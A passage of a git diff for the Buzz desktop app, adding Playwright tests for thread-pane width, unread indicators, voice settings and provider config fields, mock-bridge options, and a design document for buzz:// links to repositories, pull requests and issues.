index 7057701624..1c52515630 100644
--- a/desktop/tests/e2e/threadpane-ultrawide.spec.ts
+++ b/desktop/tests/e2e/threadpane-ultrawide.spec.ts
@@ -118,4 +118,43 @@ test.describe("thread pane on ultrawide monitors", () => {
       path: "test-results/threadpane-ultrawide-after.png",
     });
   });
+
+  test("clamps the requested width to the channel surface", async ({
+    page,
+  }) => {
+    await page.setViewportSize({ width: 1720, height: 900 });
+    await installMockBridge(page);
+    await openThread(page);
+
+    const pane = page.getByTestId("message-thread-panel");
+    const handle = page.getByTestId("right-auxiliary-pane-resize-handle");
+    const handleBox = await handle.boundingBox();
+    if (!handleBox) throw new Error("resize handle not laid out");
+
+    const startX = handleBox.x + handleBox.width / 2;
+    const startY = handleBox.y + handleBox.height / 2;
+    await page.mouse.move(startX, startY);
+    await page.mouse.down();
+    for (let x = startX; x >= 500; x -= 60) {
+      await page.mouse.move(x, startY);
+    }
+    await page.mouse.up();
+
+    const renderedWidth = await pane.evaluate((element) =>
+      Math.round(element.getBoundingClientRect().width),
+    );
+    const storedWidth = await page.evaluate(() =>
+      Number(window.sessionStorage.getItem("buzz.desktop.thread-panel-width")),
+    );
+    const mainWidth = await page
+      .getByTestId("channel-drop-zone")
+      .evaluate((element) => Math.round(element.getBoundingClientRect().width));
+
+    await page.screenshot({
+      path: "test-results/threadpane-expanded-after-fix.png",
+    });
+
+    expect(renderedWidth).toBe(storedWidth);
+    expect(mainWidth).toBeGreaterThanOrEqual(300);
+  });
 });
diff --git a/desktop/tests/e2e/unread-pill.spec.ts b/desktop/tests/e2e/unread-pill.spec.ts
index 63f42d12ac..fc36a8440f 100644
--- a/desktop/tests/e2e/unread-pill.spec.ts
+++ b/desktop/tests/e2e/unread-pill.spec.ts
@@ -125,6 +125,26 @@ test.describe("unread pill & divider", () => {
     const pill = page.getByTestId("message-unread-pill");
     await expect(pill).toBeVisible();
     await expect(pill).toContainText("20 new messages");
+    await expect(
+      page.getByTestId("message-timeline-sticky-day-divider"),
+    ).toHaveAttribute("data-day-label", /.+/);
+
+    const { pillTop, stickyDayTop } = await page.evaluate(() => {
+      const pill = document.querySelector<HTMLElement>(
+        '[data-testid="message-unread-pill"]',
+      );
+      const stickyDay = document.querySelector<HTMLElement>(
+        '[data-testid="message-timeline-sticky-day-divider"]',
+      );
+      if (!pill || !stickyDay) {
+        throw new Error("missing top timeline affordance");
+      }
+      return {
+        pillTop: pill.getBoundingClientRect().top,
+        stickyDayTop: stickyDay.getBoundingClientRect().top,
+      };
+    });
+    expect(Math.abs(pillTop - stickyDayTop)).toBeLessThanOrEqual(1);
   });
 
   test("02-unread-divider-visible", async ({ page }) => {
@@ -198,9 +218,12 @@ test.describe("unread pill & divider", () => {
     await page.getByTestId("channel-random").click();
     await expect(page.getByTestId("chat-title")).toHaveText("random");
 
-    // The unread indicator only renders on inactive channels, so it appears
-    // once general is no longer the active channel.
-    await expect(page.getByTestId("channel-unread-general")).toBeVisible();
+    // Forced channel unread uses channel-name emphasis, not the thread dot.
+    await expect(page.getByTestId("channel-general")).toHaveCSS(
+      "font-weight",
+      "700",
+    );
+    await expect(page.getByTestId("channel-unread-dot-general")).toHaveCount(0);
 
     await page.getByTestId("channel-general").click();
     await expect(page.getByTestId("chat-title")).toHaveText("general");
diff --git a/desktop/tests/e2e/video-attachment.spec.ts b/desktop/tests/e2e/video-attachment.spec.ts
index 458689a5e0..488485292e 100644
--- a/desktop/tests/e2e/video-attachment.spec.ts
+++ b/desktop/tests/e2e/video-attachment.spec.ts
@@ -183,7 +183,7 @@ async function openReviewWithPostedTimecode(
   await expect(page.getByTestId("chat-title")).toHaveText("general");
   await waitForMockLiveSubscription(page, "general");
 
-  await page.getByRole("button", { name: "Attach image" }).click();
+  await page.getByRole("button", { name: "Attach file" }).click();
   await expect(
     page.getByTestId("message-composer").getByAltText("Video attachment bbbb"),
   ).toBeVisible();
@@ -238,7 +238,7 @@ test("video upload previews use poster frames and inline videos open review mode
   await expect(page.getByTestId("chat-title")).toHaveText("general");
   await waitForMockLiveSubscription(page, "general");
 
-  await page.getByRole("button", { name: "Attach image" }).click();
+  await page.getByRole("button", { name: "Attach file" }).click();
 
   const composer = page.getByTestId("message-composer");
   const composerPoster = composer.getByAltText("Video attachment bbbb");
diff --git a/desktop/tests/e2e/voice-settings.spec.ts b/desktop/tests/e2e/voice-settings.spec.ts
new file mode 100644
index 0000000000..9bd8742ed7
--- /dev/null
+++ b/desktop/tests/e2e/voice-settings.spec.ts
@@ -0,0 +1,212 @@
+import { expect, test } from "@playwright/test";
+
+import { waitForAnimations } from "../helpers/animations";
+import { installMockBridge } from "../helpers/bridge";
+import { openSettings } from "../helpers/settings";
+
+const SCREENSHOT_PATH = "test-results/voice-settings/pocket-voices.png";
+
+test.describe("Pocket voice settings", () => {
+  test.use({ viewport: { width: 1100, height: 760 } });
+
+  test("selects and retains a bundled voice while text to speech is off", async ({
+    page,
+  }) => {
+    await installMockBridge(page);
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await openSettings(page, "voice");
+
+    const card = page.getByTestId("settings-voice");
+    await expect(card).toBeVisible();
+    await expect(
+      page.getByText("Agent text to speech", { exact: true }),
+    ).toBeVisible();
+    await expect(
+      page.getByText("Pocket TTS voice", { exact: true }),
+    ).toBeVisible();
+    await expect(card).not.toContainText("April INT8");
+
+    await page.getByTestId("pocket-voice-selector").click();
+    await expect(page.getByRole("menuitemradio")).toHaveCount(12);
+    await page.getByRole("menuitemradio", { name: "Eve" }).click();
+    await expect(page.getByTestId("pocket-voice-selector")).toContainText(
+      "Eve",
+    );
+    await expect(
+      page.getByRole("button", { name: "Pocket TTS voice: Eve" }),
+    ).toBeVisible();
+
+    await page.getByTestId("agent-text-to-speech-toggle").click();
+    await expect(
+      page.getByTestId("agent-text-to-speech-toggle"),
+    ).toHaveAttribute("aria-checked", "false");
+    await expect(page.getByTestId("pocket-voice-controls")).toHaveAttribute(
+      "aria-disabled",
+      "true",
+    );
+    await expect(page.getByTestId("pocket-voice-selector")).toContainText(
+      "Eve",
+    );
+
+    const savedCommands = await page.evaluate(() =>
+      (window.__BUZZ_E2E_COMMAND_LOG__ ?? [])
+        .filter((entry) =>
+          ["set_pocket_voice", "set_tts_enabled"].includes(entry.command),
+        )
+        .map((entry) => ({ command: entry.command, payload: entry.payload })),
+    );
+    expect(savedCommands).toEqual([
+      {
+        command: "set_pocket_voice",
+        payload: { voiceKey: "pocket:eve" },
+      },
+      {
+        command: "set_tts_enabled",
+        payload: { enabled: false },
+      },
+    ]);
+  });
+
+  test("captures the complete VCTK preset settings surface", async ({
+    page,
+  }) => {
+    await installMockBridge(page, {
+      ttsSettings: {
+        version: 1,
+        agentTextToSpeech: true,
+        voicePreferences: ["pocket:eve"],
+      },
+    });
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await openSettings(page, "voice");
+
+    const card = page.getByTestId("settings-voice");
+    await expect(card).toBeVisible();
+    await expect(page.getByTestId("pocket-voice-selector")).toContainText(
+      "Eve",
+    );
+    await page.getByTestId("pocket-voice-selector").click();
+    await expect(page.getByRole("menuitemradio")).toHaveCount(12);
+    const menu = page.getByRole("menu");
+    await expect(menu).toBeVisible();
+    await waitForAnimations(page);
+    const cardBox = await card.boundingBox();
+    const menuBox = await menu.boundingBox();
+    const viewport = page.viewportSize();
+    if (!cardBox || !menuBox || !viewport) {
+      throw new Error("Voice settings screenshot bounds are unavailable");
+    }
+    const x = Math.max(0, Math.min(cardBox.x, menuBox.x) - 16);
+    const y = Math.max(0, Math.min(cardBox.y, menuBox.y) - 16);
+    const right = Math.min(
+      viewport.width,
+      Math.max(cardBox.x + cardBox.width, menuBox.x + menuBox.width) + 16,
+    );
+    const bottom = Math.min(
+      viewport.height,
+      Math.max(cardBox.y + cardBox.height, menuBox.y + menuBox.height) + 16,
+    );
+    await page.screenshot({
+      path: SCREENSHOT_PATH,
+      clip: {
+        x: Math.floor(x),
+        y: Math.floor(y),
+        width: Math.ceil(right - x),
+        height: Math.ceil(bottom - y),
+      },
+    });
+  });
+
+  test("imports, selects, and safely deletes a local voice", async ({
+    page,
+  }) => {
+    await installMockBridge(page);
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await openSettings(page, "voice");
+
+    await page.getByTestId("pocket-voice-import").click();
+    await expect(page.getByTestId("pocket-voice-selector")).toContainText(
+      "My voice",
+    );
+    await expect(page.getByTestId("pocket-voice-delete")).toBeVisible();
+    await page.getByRole("button", { name: "Preview" }).click();
+
+    await page.getByTestId("pocket-voice-delete").click();
+    await expect(page.getByText("Delete imported voice?")).toBeVisible();
+    await page.getByTestId("confirm-pocket-voice-delete").click();
+    await expect(page.getByTestId("pocket-voice-selector")).toContainText(
+      "Mary",
+    );
+    await expect(page.getByTestId("pocket-voice-delete")).toBeHidden();
+    await page.getByRole("button", { name: "Preview" }).click();
+
+    const mutations = await page.evaluate(() =>
+      (window.__BUZZ_E2E_COMMAND_LOG__ ?? [])
+        .filter((entry) =>
+          [
+            "import_pocket_voice",
+            "preview_pocket_voice",
+            "delete_pocket_voice",
+          ].includes(entry.command),
+        )
+        .map((entry) => ({ command: entry.command, payload: entry.payload })),
+    );
+    expect(mutations).toEqual([
+      { command: "import_pocket_voice", payload: {} },
+      {
+        command: "preview_pocket_voice",
+        payload: { voiceKey: `pocket:imported:${"1".repeat(64)}` },
+      },
+      {
+        command: "delete_pocket_voice",
+        payload: { voiceKey: `pocket:imported:${"1".repeat(64)}` },
+      },
+      {
+        command: "preview_pocket_voice",
+        payload: { voiceKey: "pocket:mary" },
+      },
+    ]);
+  });
+
+  test("keeps the selected voice unchanged when the native picker is cancelled", async ({
+    page,
+  }) => {
+    await installMockBridge(page, { pocketVoiceImportResult: "cancel" });
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await openSettings(page, "voice");
+
+    await expect(page.getByTestId("pocket-voice-selector")).toContainText(
+      "Mary",
+    );
+    await page.getByTestId("pocket-voice-import").click();
+    await expect(page.getByTestId("pocket-voice-selector")).toContainText(
+      "Mary",
+    );
+    await expect(page.getByTestId("pocket-voice-delete")).toBeHidden();
+    await expect(page.getByTestId("voice-settings-error")).toBeHidden();
+
+    const audioCommands = await page.evaluate(() =>
+      (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).filter((entry) =>
+        ["preview_pocket_voice", "delete_pocket_voice"].includes(entry.command),
+      ),
+    );
+    expect(audioCommands).toEqual([]);
+  });
+
+  test("surfaces invalid or unsupported WAV errors without changing selection", async ({
+    page,
+  }) => {
+    await installMockBridge(page, { pocketVoiceImportResult: "invalid" });
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await openSettings(page, "voice");
+
+    await page.getByTestId("pocket-voice-import").click();
+    await expect(page.getByTestId("voice-settings-error")).toContainText(
+      "Voice WAV must contain PCM or 32-bit float audio",
+    );
+    await expect(page.getByTestId("pocket-voice-selector")).toContainText(
+      "Mary",
+    );
+    await expect(page.getByTestId("pocket-voice-delete")).toBeHidden();
+  });
+});
diff --git a/desktop/tests/e2e/where-to-run-config.spec.ts b/desktop/tests/e2e/where-to-run-config.spec.ts
new file mode 100644
index 0000000000..869e9b2138
--- /dev/null
+++ b/desktop/tests/e2e/where-to-run-config.spec.ts
@@ -0,0 +1,154 @@
+/**
+ * E2E spec for the create-agent "Run on" provider config fields.
+ *
+ * Pins the fix for the "Typewriter Eraser": WhereToRunSection's probe effect
+ * used to depend on the whole draft, so every keystroke re-probed the
+ * provider and every probe resolution reset providerConfig to schema
+ * defaults — typing into a defaultless field (the k8s "Kubeconfig context")
+ * looked completely dead, and the provider binary respawned in a loop.
+ *
+ * Covers:
+ *  - typing into a defaultless provider field sticks, and the provider is
+ *    probed exactly once for the selection (not once per keystroke)
+ *  - the config form is gated on probe resolution (no half-rendered form),
+ *    and defaults prefill exactly once when a slow probe lands
+ *  - switching provider → local → provider re-probes and resets cleanly
+ *
+ * The stale-closure merge on probe resolution (defaults beneath in-flight
+ * typing) is unreachable through this UI because the fields render only
+ * after the probe resolves; it is pinned at the unit level in
+ * whereToRunIntent.test.mjs (applyProbeResult).
+ */
+import { expect, test } from "@playwright/test";
+
+import { installMockBridge } from "../helpers/bridge";
+
+type Page = import("@playwright/test").Page;
+
+const PROVIDER = {
+  id: "kubernetes",
+  binaryPath: "/mock/buzz-backend-kubernetes",
+};
+
+const PROBE_RESULT = {
+  ok: true,
+  name: "kubernetes",
+  version: "0.0.0-mock",
+  config_schema: {
+    type: "object",
+    properties: {
+      context: {
+        type: "string",
+        title: "Kubeconfig context",
+        description: "Context from your kubeconfig.",
+      },
+      namespace: {
+        type: "string",
+        title: "Namespace",
+        default: "buzz-agents-mock01",
+      },
+    },
+    required: ["namespace"],
+  },
+};
+
+async function probeInvocations(page: Page): Promise<number> {
+  return page.evaluate(
+    () =>
+      (
+        window as Window & { __BUZZ_E2E_COMMANDS__?: string[] }
+      ).__BUZZ_E2E_COMMANDS__?.filter(
+        (command) => command === "probe_backend_provider",
+      ).length ?? 0,
+  );
+}
+
+/** Open the create-agent dialog and select the mocked provider in "Run on". */
+async function openCreateDialogOnProvider(page: Page) {
+  await page.goto("/", { waitUntil: "domcontentloaded" });
+  await page.getByTestId("open-agents-view").click();
+  await page.getByTestId("new-agent-card").click();
+  await page.getByRole("menuitem", { name: "Create agent" }).click();
+  const dialog = page.getByTestId("persona-dialog");
+  await expect(dialog).toBeVisible({ timeout: 10_000 });
+  await dialog.locator("#agent-run-on").selectOption(PROVIDER.id);
+  return dialog;
+}
+
+test("typing into a defaultless provider field sticks and probes only once", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    backendProviders: [PROVIDER],
+    backendProviderProbeResult: PROBE_RESULT,
+  });
+  const dialog = await openCreateDialogOnProvider(page);
+
+  const contextField = dialog.locator("#provider-cfg-context");
+  await expect(contextField).toBeVisible({ timeout: 10_000 });
+  // Defaults prefilled from the schema; context has none.
+  await expect(dialog.locator("#provider-cfg-namespace")).toHaveValue(
+    "buzz-agents-mock01",
+  );
+  await expect(contextField).toHaveValue("");
+
+  await contextField.pressSequentially("prod-us-west", { delay: 20 });
+  await expect(contextField).toHaveValue("prod-us-west");
+
+  // One selection, one probe — keystrokes must not refire it.
+  expect(await probeInvocations(page)).toBe(1);
+});
+
+test("config fields render only after a slow probe resolves, with defaults", async ({
+  page,
+}) => {
+  // The fields are gated on the probe result (draft.probedProvider), which is
+  // what makes mid-flight typing unreachable through the UI — the stale-probe
+  // merge seam (applyProbeResult) is pinned at the unit level instead. This
+  // spec holds the gate: no half-rendered form before the probe lands, and
+  // defaults appear exactly once when it does.
+  await installMockBridge(page, {
+    backendProviders: [PROVIDER],
+    backendProviderProbeResult: PROBE_RESULT,
+    backendProviderProbeDelayMs: 1_000,
+  });
+  const dialog = await openCreateDialogOnProvider(page);
+
+  // Pre-resolution: the security warning is up, the form is not.
+  await expect(dialog.getByText("will receive your agent")).toBeVisible();
+  await expect(dialog.locator("#provider-cfg-context")).toHaveCount(0);
+
+  // Post-resolution: fields render with schema defaults prefilled.
+  await expect(dialog.locator("#provider-cfg-context")).toBeVisible({
+    timeout: 10_000,
+  });
+  await expect(dialog.locator("#provider-cfg-namespace")).toHaveValue(
+    "buzz-agents-mock01",
+  );
+  expect(await probeInvocations(page)).toBe(1);
+});
+
+test("provider → local → provider re-probes and resets the config", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    backendProviders: [PROVIDER],
+    backendProviderProbeResult: PROBE_RESULT,
+  });
+  const dialog = await openCreateDialogOnProvider(page);
+
+  const contextField = dialog.locator("#provider-cfg-context");
+  await expect(contextField).toBeVisible({ timeout: 10_000 });
+  await contextField.fill("stale-value");
+
+  await dialog.locator("#agent-run-on").selectOption("local");
+  await expect(contextField).toHaveCount(0);
+
+  await dialog.locator("#agent-run-on").selectOption(PROVIDER.id);
+  await expect(dialog.locator("#provider-cfg-context")).toBeVisible({
+    timeout: 10_000,
+  });
+  // Fresh selection = fresh draft: the stale value must not leak back.
+  await expect(dialog.locator("#provider-cfg-context")).toHaveValue("");
+  expect(await probeInvocations(page)).toBe(2);
+});
diff --git a/desktop/tests/helpers/bridge.ts b/desktop/tests/helpers/bridge.ts
index 49d12ec17a..0234254410 100644
--- a/desktop/tests/helpers/bridge.ts
+++ b/desktop/tests/helpers/bridge.ts
@@ -1,5 +1,6 @@
 import type { Page } from "@playwright/test";
 import type { ChannelTemplate, RelayEvent } from "../../src/shared/api/types";
+import type { MockManagedAgentSeed } from "../../src/testing/e2eBridge";
 import { FEATURE_OVERRIDES_STORAGE_KEY, PREVIEW_FEATURE_IDS } from "./features";
 
 export const TEST_IDENTITIES = {
@@ -43,24 +44,6 @@ type MockCommandAvailability = {
   resolvedPath?: string | null;
 };
 
-type MockManagedAgentSeed = {
-  pubkey: string;
-  name: string;
-  personaId?: string | null;
-  status?: "running" | "stopped" | "deployed" | "not_deployed";
-  channelNames?: string[];
-  channelIds?: string[];
-  backend?:
-    | { type: "local" }
-    | { type: "provider"; id: string; config: Record<string, unknown> };
-  lastError?: string | null;
-  lastErrorCode?: number | null;
-  needsRestart?: boolean;
-  autoRestartOnConfigChange?: boolean;
-  respondTo?: "owner-only" | "allowlist" | "anyone";
-  respondToAllowlist?: string[];
-};
-
 type MockSearchProfileSeed = {
   pubkey: string;
   displayName: string | null;
@@ -86,11 +69,14 @@ type MockRelayAgentSeed = {
 type MockHuddleSeed = {
   parentChannelId: string;
   ephemeralChannelId: string;
+  huddleThreadEventId?: string | null;
+  phase?: "creating" | "connected" | "active";
   members: Array<{
     pubkey: string;
     role: "owner" | "admin" | "member" | "guest" | "bot";
   }>;
   transcriptionEnabled?: boolean;
+  ttsEnabled?: boolean;
   isCreator?: boolean;
 };
 
@@ -159,6 +145,15 @@ type MockInstallRuntimeResult = {
 };
 
 type MockBridgeOptions = {
+  /** Tauri window label exposed to the app. Defaults to the main window. */
+  windowLabel?: string;
+  ttsSettings?: {
+    version: number;
+    agentTextToSpeech: boolean;
+    voicePreferences: string[];
+  };
+  /** Native picker boundary result for Pocket voice import tests. */
+  pocketVoiceImportResult?: "success" | "cancel" | "invalid";
   /** Advertised HEAD for the first mock project without adding that branch. */
   projectHeadBranch?: string;
   /** Relay NIP-11 identity used to sign authoritative repository state. */
@@ -192,6 +187,8 @@ type MockBridgeOptions = {
   /** Catalog responses for successive discovery calls. The final response repeats. */
   acpRuntimesCatalogSequence?: Record<string, unknown>[][];
   acpRuntimesDelayMs?: number;
+  /** When true, the mock catalog discovery command throws an error. */
+  acpRuntimesError?: boolean;
   acpAuthMethods?: Record<string, { methods: Record<string, unknown>[] }>;
   acpAuthMethodsError?: string;
   /** When set, the `delete_custom_harness` mock command throws with this message. */
@@ -230,6 +227,10 @@ type MockBridgeOptions = {
   };
   /** Delay an invocation-time huddle snapshot to exercise hydration ordering. */
   huddleStateReadDelayMs?: number;
+  /** Delay companion creation to expose the newly-started huddle handoff state. */
+  openHuddleWindowDelayMs?: number;
+  /** Delay the native start result after membership arrives in the channel list. */
+  startHuddleReturnDelayMs?: number;
   /** Per agent+relay runtime rows for pair-scoped lifecycle commands. */
   managedAgentRuntimes?: Array<{
     pubkey: string;
@@ -249,6 +250,7 @@ type MockBridgeOptions = {
   personaSharePublicationStatuses?: Array<"published" | "queued">;
   teams?: MockTeamSeed[];
   relayAgents?: MockRelayAgentSeed[];
+  /** Delay both managed and relay agent directory reads. */
   agentListDelayMs?: number;
   createManagedAgentDelayMs?: number;
   channelTemplates?: ChannelTemplate[];
@@ -273,6 +275,8 @@ type MockBridgeOptions = {
   applyCommunityDelayMs?: number;
   openDmDelayMs?: number;
   sendMessageDelayMs?: number;
+  /** Hold mock send live echoes until the E2E release seam is invoked. */
+  deferSendMessageLiveEcho?: boolean;
   /** Close the first channel-window live REQ; its retry is accepted. */
   closeChannelLiveSubscriptionOnce?: boolean;
   /** Reject successive kind-9 sends with these messages, then resume. */
@@ -307,23 +311,6 @@ type MockBridgeOptions = {
   websocketConnectErrors?: string[];
   stallWebsocketSends?: boolean;
   userSearchDelayMs?: number;
-  /**
-   * Value returned by the `observer_archive_default_enabled` mock command.
-   * `true` = internal-policy build (toggle locked ON); `false`/omitted = OSS
-   * build (toggle functional). Drives LocalArchiveSettingsCard policy state.
-   */
-  observerArchiveDefaultEnabled?: boolean;
-  /**
-   * Delay (ms) applied to `observer_archive_default_enabled` so specs can
-   * assert the pending-reconciliation state (toggle disabled, no
-   * `list_save_subscriptions` call yet) before the policy resolves.
-   */
-  observerArchiveDefaultEnabledDelayMs?: number;
-  /**
-   * When set, `observer_archive_default_enabled` throws with this message —
-   * drives the fail-closed path when the policy check itself fails.
-   */
-  observerArchiveDefaultEnabledError?: string;
   // NIP-IA gate inputs — drive the archive-button gate matrix in
   // tests/e2e/identity-archive.spec.ts.
   /**
@@ -354,6 +341,8 @@ type MockBridgeOptions = {
    * explicit `[]` is honoured (models a picker cancel / no files selected).
    */
   uploadDelayMs?: number;
+  /** Exercise the production composer path that queues files until send. */
+  deferredComposerUploads?: boolean;
   /** Delay (ms) applied to `encode_agent_snapshot_for_send` so E2E tests can
    *  observe the "preparing" phase before the upload begins. 0/undefined = instant. */
   encodeDelayMs?: number;
@@ -441,6 +430,7 @@ type MockBridgeOptions = {
     model: string | null;
     preferred_runtime?: string | null;
   };
+  ownerOnlyAccessBuild?: boolean;
   /** File-layer config returned by runtime id. */
   runtimeFileConfigs?: Record<
     string,
@@ -460,6 +450,8 @@ type MockBridgeOptions = {
   /** Delay (ms) for `set_global_agent_config` — hold saves open in tests.
    *  Alias of `globalConfigSaveDelayMs` (kept for onboarding specs). */
   setGlobalAgentConfigDelayMs?: number;
+  /** Sequenced save failures. A string rejects that call; null succeeds. */
+  setGlobalAgentConfigErrors?: (string | null)[];
   /** Errors returned by successive backup verification attempts. Null succeeds. */
   backupVerificationErrors?: (string | null)[];
   /** Public identities returned by successive successful backup verifications. */
@@ -517,6 +509,25 @@ type MockBridgeOptions = {
    * returning a catalog. Exercises the discovery-failure UI path.
    */
   discoverAgentModelsError?: string;
+  /**
+   * Providers returned by `discover_backend_providers`. Defaults to `[]`
+   * (the "Run on" section stays hidden). Setting this renders the remote
+   * backend selector in the create-agent dialog.
+   */
+  backendProviders?: Array<{ id: string; binaryPath: string }>;
+  /**
+   * Result returned by `probe_backend_provider`. Defaults to
+   * `{ ok: false, error: "mock: no providers available" }`.
+   */
+  backendProviderProbeResult?: Record<string, unknown>;
+  /**
+   * Delay (ms) applied to `probe_backend_provider` so a spec can assert the
+   * pre-resolution state (config fields stay probe-gated until the result
+   * lands). Typing while a probe is in flight is unreachable through the UI
+   * for the same reason; that merge path is pinned at the unit level
+   * (`applyProbeResult` in whereToRunIntent.test.mjs).
+   */
+  backendProviderProbeDelayMs?: number;
 };
 
 type BridgeOptions = {
diff --git a/desktop/tests/helpers/settings.ts b/desktop/tests/helpers/settings.ts
index a63b52453e..c26c0e9195 100644
--- a/desktop/tests/helpers/settings.ts
+++ b/desktop/tests/helpers/settings.ts
@@ -3,6 +3,7 @@ import { expect, type Page } from "@playwright/test";
 type SettingsSection =
   | "profile"
   | "notifications"
+  | "voice"
   | "agents"
   | "channel-templates"
   | "compute"
diff --git a/desktop/vite.config.ts b/desktop/vite.config.ts
index bea5704826..1a89ff8d75 100644
--- a/desktop/vite.config.ts
+++ b/desktop/vite.config.ts
@@ -3,7 +3,6 @@ import { defineConfig } from "vite";
 import react from "@vitejs/plugin-react";
 import { tanstackRouter } from "@tanstack/router-plugin/vite";
 
-// @ts-expect-error process is a nodejs global
 const host = process.env.TAURI_DEV_HOST;
 
 // https://vite.dev/config/
diff --git a/docs/buzz-entity-links.md b/docs/buzz-entity-links.md
new file mode 100644
index 0000000000..df32037898
--- /dev/null
+++ b/docs/buzz-entity-links.md
@@ -0,0 +1,266 @@
+# Buzz Entity Links
+
+Status: **partially implemented**. Done on this branch:
+
+- Slice 0 — HTTPS relay git clone URLs (`{relay-origin}/git/<pubkey>/<repo>`)
+  render as Buzz repository preview cards in chat
+  (`desktop/src/shared/lib/linkPreview.ts`).
+- Slice 1 — `buzz://pr|issue|repo` deep links: `entityLink.ts`
+  builders/parser, preview cards with relay title enrichment, in-timeline
+  click navigation to `/projects/$projectId`.
+- Slice 3 (create-command part) — `crates/buzz-cli/src/links.rs`, `link`
+  output field on `pr open` / `issues create` / `repos create`, base prompt
+  guidance, cross-language golden-format tests.
+
+Still unimplemented: OS-level deep links (slice 2), `link` on get commands,
+the `buzz://project` scheme (waiting on NIP-MP landing), and the follow-ups
+in slice 4.
+
+## Problem
+
+When a message contains a GitHub URL, the desktop client renders a rich
+preview card ("GitHub · PR block/buzz #4020") below the message. Those cards
+are produced entirely client-side by URL parsing in
+`desktop/src/shared/lib/linkPreview.ts` and rendered by
+`desktop/src/shared/ui/link-preview-attachment.tsx`.
+
+Buzz-hosted entities have no equivalent. There is **no link format at all**
+for a Buzz repository, project, pull request, or issue:
+
+- The only rich deep link today is `buzz://message?channel=…&id=…`
+  (`desktop/src/features/messages/lib/messageLink.ts`), rendered as an inline
+  pill via `remarkMessageLinks.ts` + `MessageLinkPill.tsx`.
+- OS-level deep links (`desktop/src-tauri/src/deep_link.rs`,
+  `desktop/src/shared/deep-link.ts`) support `connect`, `join`,
+  `add-community`, `message`, and `nostr-bind` — no git entities.
+- `buzz pr open` / `buzz issues create` return raw event ids; there is no URL
+  in their output and no guidance in the agent base prompt
+  (`crates/buzz-acp/src/base_prompt.md`) for referencing Buzz work items in
+  chat. Agents can only say "PR up" with a hex id.
+- The relay-served web client only has `/repos/$repoId`; no PR/issue pages.
+
+So an agent that opens a PR on a Buzz-hosted repository cannot produce
+anything clickable, while the same agent opening a GitHub PR gets a card for
+free.
+
+## Goals
+
+1. A canonical, shareable link format for Buzz repositories, projects, pull
+   requests, and issues.
+2. Rich preview cards in the desktop message timeline for those links, with
+   parity to (and better data than) the GitHub cards — titles come from the
+   actual Nostr events, not URL text.
+3. Clicking a link navigates in-app to the existing project detail views.
+4. CLI output includes the link so agents (and the base prompt) can emit it
+   when announcing work.
+
+## Non-goals (v1)
+
+- Web (browser) pages for PRs/issues — the web client has no such views yet,
+  so links are app-only, same as `buzz://message` today.
+- Cross-community links. Like `buzz://message`, links are interpreted against
+  the community the message was received in. A `relay=` query parameter is
+  reserved for a future cross-community version but not emitted or consumed.
+- Generic OpenGraph unfurling for arbitrary URLs — that is the separate
+  `proto/rich-link-previews` prototype and stays orthogonal.
+- Mobile rendering. Mobile should degrade gracefully (plain link) in v1;
+  pill/card parity is a follow-up.
+
+## Link format
+
+Extend the existing `buzz://` scheme, mirroring `buzz://message`:
+
+```
+buzz://repo?owner=<pubkey-hex>&d=<repo-dtag>
+buzz://project?owner=<pubkey-hex>&d=<project-dtag>
+buzz://pr?id=<event-id-hex>&owner=<pubkey-hex>&d=<repo-dtag>
+buzz://issue?id=<event-id-hex>&owner=<pubkey-hex>&d=<repo-dtag>
+```
+
+- `owner` is the 64-char lowercase hex pubkey of the repository/project
+  announcement author (the NIP-34 / NIP-MP coordinate owner).
+- `d` is the addressable `d`-tag. For `repo`/`project` links the
+  (`owner`, `d`) pair is the full `30617:<owner>:<d>` /
+  `30621:<owner>:<d>` coordinate.
+- For `pr`/`issue` links, `id` identifies the kind `1618` / `1621` event;
+  `owner` + `d` are the routing coordinate that lets the client navigate
+  (and render a fallback card) without an event lookup. **v1 decision:** the
+  implemented parser requires all three parameters — the CLI always emits
+  them, and accepting hint-less links would force an event lookup before any
+  navigation. A future revision can relax this without breaking existing
+  links.
+
+Validation rules match the existing codebase: `owner` and `id` are
+`/^[a-f0-9]{64}$/`; `d` follows addressable d-tag rules already enforced in
+`projectModels.ts` / `buzz-sdk`.
+
+### HTTPS URLs
+
+Agents naturally paste HTTPS clone URLs
+(`{relay-origin}/git/<pubkey>/<repo>`) when announcing work, so those are
+recognized **first** — implemented on this branch. Detection keys on the
+path shape (`/git/` + 64-hex pubkey segment) rather than a host allow-list,
+since relay hosts differ per community. The preview href is normalized to
+the canonical `buzz://repo?owner=…&d=…` deep link (the raw transport URL is
+not a browsable page), so clone-URL cards and inline clone-URL anchors get
+the same in-app click navigation as explicit entity links, and both
+spellings of the same repository dedupe to one card.
+
+PRs, issues, and projects have no HTTPS page to link to (the web client has
+no such routes), which is why they use the `buzz://` scheme above: it is
+community-relative by construction, matches the established `buzz://message`
+precedent, and requires no new relay surface. If web views land later, the
+desktop can additionally recognize those `{relay-origin}/…` URLs with the
+same card treatment.
+
+## Rendering in chat (desktop)
+
+Two presentations, consistent with how GitHub links and message links behave
+today:
+
+1. **Autolinked bare URL** (`<buzz://pr?…>` or bare in text): render an
+   **attachment card** below the message in the existing `AttachmentGroup`,
+   exactly like GitHub cards. Provider label `Buzz`, type label
+   `PR` / `issue` / `repo` / `project`.
+2. **Explicitly labeled markdown link** (`[fix the tooltip](buzz://pr?…)`):
+   keep the author's label inline (same rule as
+   `resolveMessageLinkRenderTarget` in `messageLink.ts`), still clickable.
+
+### Card content and enrichment
+
+Unlike GitHub (title derived from URL path only), Buzz entities live on the
+same relay, so the card can show real data:
+
+| Entity  | Title source                              | Fallback            |
+|---------|-------------------------------------------|---------------------|
+| PR      | `subject` tag of the kind `1618` event    | `PR <id-prefix>`    |
+| Issue   | `subject` tag of the kind `1621` event    | `issue <id-prefix>` |
+| Repo    | `name` tag of the kind `30617` event      | `d`-tag             |
+| Project | `name` tag of the kind `30621` event      | `d`-tag             |
+
+Enrichment is a single relay query by event id (PR/issue) or coordinate
+(repo/project) through the existing `relayClient`, cached per event id.
+Kind filters must always be included in the query (relay p-gate). Cards
+render immediately with the fallback title and upgrade in place when the
+lookup resolves — same progressive pattern as
